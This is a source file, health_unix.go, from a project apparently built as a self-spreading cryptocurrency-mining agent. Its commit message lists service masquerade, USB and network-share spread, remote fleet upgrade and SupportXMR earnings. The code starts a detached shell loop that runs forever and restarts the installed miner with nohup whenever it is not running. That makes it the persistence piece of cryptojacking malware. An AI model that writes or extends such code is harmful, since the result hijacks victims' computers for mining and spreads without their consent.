Files
AetherForge/agent/deploy/health_unix.go
drjones 102d2fb7c6 Add fleet resilience, passive spread, matrix rain UI, and live earnings.
Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
2026-05-29 22:29:58 -07:00

32 lines
812 B
Go

//go:build !windows
package deploy
import (
"fmt"
"os/exec"
"path/filepath"
"strings"
"crypto-miner-agent/config"
)
// launchProcessGuard spawns a detached shell loop that watches for the installed
// miner and restarts it on crash (Unix — Linux + macOS).
func launchProcessGuard(cfg config.RuntimeConfig) {
installDir, err := cfg.InstallDirectory()
if err != nil {
return
}
bin := filepath.Join(installDir, BinaryName(cfg))
procName := strings.TrimSuffix(BinaryName(cfg), "")
// sh one-liner: loop forever, sleep 60 s, pgrep by binary name, restart if missing.
script := fmt.Sprintf(
`while true; do sleep 60; pgrep -x '%s' >/dev/null 2>&1 || ([ -x '%s' ] && nohup '%s' --run >/dev/null 2>&1 &); done`,
procName, bin, bin,
)
cmd := exec.Command("sh", "-c", script)
_ = cmd.Start()
}